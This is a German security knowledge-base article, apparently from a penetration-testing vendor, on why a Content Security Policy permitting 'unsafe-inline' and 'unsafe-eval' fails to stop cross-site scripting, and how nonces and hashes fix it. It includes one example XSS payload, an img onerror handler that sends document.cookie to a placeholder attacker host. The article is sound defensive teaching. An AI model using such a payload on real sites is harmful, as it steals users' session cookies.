CSP erlaubt Inline-Skripte und eval
CWE-693CWE-79OWASP A05:2021Aktualisiert 4. September 20264 Min. Lesezeit
Eine Content Security Policy, die 'unsafe-inline' oder 'unsafe-eval' zulässt, gibt genau die Konstrukte frei, die der Header blockieren sollte. Eingeschleuster Skriptcode wird dann einfach ausgeführt, und der wichtigste Schutz gegen Cross-Site Scripting entfällt. Mit Nonces oder Hashes bleiben vorhandene Inline-Skripte ohne diese Ausnahme funktionsfähig.
Eine Content Security Policy, die 'unsafe-inline' enthält, gleicht einer Gästeliste mit dem Vermerk “und im Übrigen jeder, der sich meldet” am Ende. Der Header ist vorhanden, Scanner sind zufrieden, und der Angriff, um den es ging, geht ungehindert hindurch. Im Folgenden lesen Sie, warum diese beiden Ausnahmen so schwer wiegen und wie Sie sie entfernen, ohne Ihre Anwendung zu zerlegen.
Was bedeuten unsafe-inline und unsafe-eval?
'unsafe-inline' und 'unsafe-eval' sind zwei ausdrückliche Ausnahmen in einer Content Security Policy. Die erste erlaubt, dass JavaScript unmittelbar im HTML steht, in einem <script>-Block oder in einem Attribut wie onclick. Die zweite erlaubt der Anwendung, Text in ausführbaren Code zu verwandeln, über eval(), new Function() oder ein setTimeout() mit einer Zeichenkette als Argument.
Beide sind genau die Konstrukte, mit denen ein Cross-Site-Scripting-Angriff arbeitet. Ein Angreifer, dem es gelingt, Text in Ihre Seite zu bringen, braucht kein externes Skript; er schreibt seinen Code einfach an Ort und Stelle. Das Wort unsafe im Namen ist deshalb keine Warnung der Verfasser des Standards, sondern eine sachliche Beschreibung: Sie öffnen die Tür für genau den Angriff, den Sie mit demselben Header zu schließen glaubten.
Der Vergleich mit einer Sprinkleranlage drängt sich auf, deren Haupthahn zugedreht ist. Alles ist vorhanden, alles ist abgenommen, und in dem Moment, in dem es darauf ankommt, geschieht nichts.
Wie wird eine CSP mit unsafe-inline umgangen?
Angenommen, eine Anwendung gibt einen Suchbegriff zurück, ohne ihn korrekt zu maskieren. Mit einer strengen Richtlinie bleibt das ein kosmetisches Problem; mit 'unsafe-inline' ist es eine vollwertige Schwachstelle.
Verwundbar:
Content-Security-Policy:
default-src 'self';
script-src 'self' 'unsafe-inline' 'unsafe-eval'
Auf dem Papier ist das eine ordentliche Richtlinie: Skripte stammen nur von der eigenen Domain. Mit den beiden Ausnahmen akzeptiert der Browser jedoch auch dies:
<!-- Über einen nicht maskierten Suchbegriff in der Seite gelandet -->
<img src=x onerror="fetch('https://boesartig.example/x?c='+document.cookie)">
Es wird kein externes Skript geladen, script-src 'self' wird also nicht verletzt. Der Code steht in einem Attribut, und genau das lässt 'unsafe-inline' zu. Das Session-Cookie geht an den Angreifer, und die CSP hat in diesem gesamten Ablauf keine Rolle gespielt.
Sicher:
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-8fK2pQvR7xM1' 'strict-dynamic';
object-src 'none';
base-uri 'self'
<!-- Nur dieser Skriptblock trägt die Nonce genau dieser Antwort -->
<script nonce="8fK2pQvR7xM1">
document.getElementById('suche').focus();
</script>
Der Server erzeugt bei jeder Antwort eine neue, zufällige Nonce, schreibt sie in den Header und an die eigenen Skriptblöcke. Der Browser führt nun ausschließlich Skripte aus, die diesen Wert tragen. Der eingeschleuste onerror-Code trägt keine Nonce und wird abgewiesen; den richtigen Wert kann der Angreifer auch nicht erraten oder wiederverwenden, da er bei der nächsten Anfrage bereits geändert ist. 'strict-dynamic' sorgt dabei dafür, dass Skripte, die Ihr eigener vertrauenswürdiger Code nachlädt, weiterhin funktionieren, ohne dass Sie jedes CDN einzeln erlauben müssen.
script-src steht, ignorieren moderne Browser 'unsafe-inline'. Diese Ausnahme “für ältere Browser” stehen zu lassen, ist deshalb nicht sinnlos, aber irreführend: In Ihrer Richtlinie steht dann eine Regel, die auf modernen Browsern nichts bewirkt und auf alten alles erlaubt.Welche Auswirkungen hat eine CSP mit unsafe-inline?
Für sich genommen führt dieser Befund zu keiner unmittelbaren Kompromittierung, weshalb der Schweregrad meist niedrig ausfällt. Die Bedeutung liegt in der Kombination: In dem Moment, in dem irgendwo in der Anwendung ein Einschleusungspunkt besteht, entscheidet genau diese Einstellung über den Unterschied zwischen einem blockierten Skript und einer gestohlenen Sitzung.
Damit wiegt der Befund schwerer, als er auf den ersten Blick wirkt. Eine moderne Anwendung nennenswerten Umfangs enthält fast immer eine Stelle, an der Benutzereingaben unzureichend maskiert werden: in einer selten genutzten Verwaltungsmaske, in einer Fehlermeldung, in einem PDF-Generator oder in einer Komponente eines Dritten. Die CSP ist die Schicht, die genau diesen unvermeidlichen Fehler auffangen soll. Steht daneben 'unsafe-eval', geraten zusätzlich Angriffe über Daten in Reichweite, die erst auf dem Client zu Code verarbeitet werden.
Es gibt noch eine zweite, praktische Seite. Viele Organisationen betrachten “wir haben eine CSP” als abgehakten Punkt auf einer Prüfliste. Eine Richtlinie mit diesen Ausnahmen vermittelt diese Sicherheit zu Unrecht und hält ein Risiko aufrecht, das man abgedeckt glaubt.
Wie spürt man eine CSP mit unsafe-inline auf?
Den Header abzurufen und nach den beiden Schlüsselwörtern zu suchen, ist der Anfang, aber nicht mehr. Ein Tester prüft anschließend, ob Nonces oder Hashes vorhanden sind, die 'unsafe-inline' auf modernen Browsern ohnehin gegenstandslos machen, und ob sich diese Nonces tatsächlich pro Anfrage unterscheiden. Eine feste Nonce in einer zwischengespeicherten Seite ist ein klassischer Fehler, der den gesamten Mechanismus aushebelt.
Zusätzlich wird geprüft, ob 'unsafe-eval' wirklich benötigt wird oder nur historisch stehen geblieben ist, und ob die Anwendung noch eval()-artige Konstrukte enthält. Ebenso relevant: Gilt die strenge Richtlinie überall, oder kennt eine Subdomain oder eine Altmaske eine weiter gefasste Variante, über die ein Angreifer dennoch hereinkommt? AssistSec prüft bei einem Penetrationstest nicht, ob der Header vorhanden ist, sondern ob die Richtlinie eine echte Einschleusung aufhält, einschließlich des Umwegs über erlaubte Quellen, die selbst Nutzerinhalte ausliefern.
Wie verhindert man eine CSP mit unsafe-inline?
- Entfernen Sie
'unsafe-inline'und'unsafe-eval'ausscript-srcund ersetzen Sie sie durch pro Anfrage erzeugte Nonces oder durch Hashes fester Skripte. - Erzeugen Sie Nonces kryptografisch zufällig und nie erneut für eine zweite Antwort; prüfen Sie, dass zwischengespeicherte Seiten keine alte Nonce mitführen.
- Verlagern Sie Inline-Attribute wie
onclickundonerrorin externe Skriptdateien mit Event-Listenern. - Ersetzen Sie
eval(),new Function()undsetTimeout()mit Zeichenkette durch direkte Funktionsaufrufe oderJSON.parse(). - Setzen Sie
'strict-dynamic'ein, wenn Sie viele Skripte dynamisch nachladen, damit Sie nicht jede einzelne Domain erlauben müssen. - Führen Sie die Änderung schrittweise mit
Content-Security-Policy-Report-Onlyein, damit Sie sehen, welche Skripte ausfallen würden, bevor Sie erzwingen. - Räumen Sie auch
'unsafe-inline'beistyle-srcauf, sobald die wichtigsten Skriptprobleme gelöst sind. - Nehmen Sie die CSP in Ihre automatisierten Tests auf, damit eine Ausnahme nicht unbemerkt in einem späteren Release zurückkehrt.
Quellen
Häufige Fragen
Was ist der Unterschied zwischen Nonce und Hash?
Eine Nonce ist ein Zufallswert, den der Server pro Anfrage erzeugt und sowohl in den Header als auch an den Skriptblock schreibt; der Browser führt nur Skripte mit dem passenden Wert aus. Ein Hash ist der SHA-Fingerabdruck des exakten Skriptinhalts. Nonces passen zu dynamisch erzeugten Seiten, Hashes zu statischen Skripten, die sich nie ändern.
Darf ich unsafe-inline für Stylesheets stehen lassen?
Das ist deutlich weniger gravierend als bei Skripten und in der Praxis oft die letzte verbleibende Ausnahme. Risikofrei ist es dennoch nicht: Mit eingeschleustem CSS lässt sich die Seite für Phishing optisch umgestalten oder, über Selektoren auf Attributwerte, Daten aus einem Formular ableiten. Räumen Sie es auf, sobald es geht.
Warum ist eine feste Nonce keine Lösung?
Weil die gesamte Wirkung auf Unvorhersehbarkeit beruht. Eine Nonce, die bei jeder Anfrage denselben Wert hat, kann ein Angreifer schlicht aus dem Quelltext übernehmen und in sein eigenes eingeschleustes Skript schreiben. Funktional entspricht das genau unsafe-inline; erzeugen Sie den Wert deshalb pro Antwort neu.
Was, wenn ein Fremdframework eval benötigt?
Das kommt bei älteren Template-Engines vor, die Vorlagen auf dem Client kompilieren. Der richtige Weg ist der Umstieg auf einen vorkompilierten Build, den praktisch jedes moderne Framework unterstützt. Ist das kurzfristig nicht machbar, isolieren Sie die betreffende Funktion auf einer eigenen Subdomain mit eigener, weiter gefasster Richtlinie.
Verwandte Artikel
- SchwachstellenCWE-693A05:2021Fehlende Content Security PolicyOhne Content Security Policy lädt der Browser Skripte aus jeder Quelle. Lesen Sie, was eine CSP leistet und welche Fehler sie entwerten.
- SchwachstellenCWE-79A03:2021Cross-Site-Scripting (XSS)Cross-Site-Scripting (XSS) schleust schädliche Skripte in Webseiten ein, die im Browser der Besucher laufen. So funktioniert XSS und so verhindern Sie es.
- SchwachstellenCWE-16A05:2021Security MisconfigurationSecurity Misconfiguration erklärt: wie Standardpasswörter, Debug-Modi und offene Cloud-Buckets Angreifern Zugang geben, und wie Sie sich schützen.
- SchwachstellenCWE-353A08:2021Externe Skripte ohne IntegritätsprüfungWer JavaScript ohne integrity-Attribut von einem CDN lädt, führt jede dortige Änderung unmittelbar aus. Lesen Sie, wie SRI das blockiert.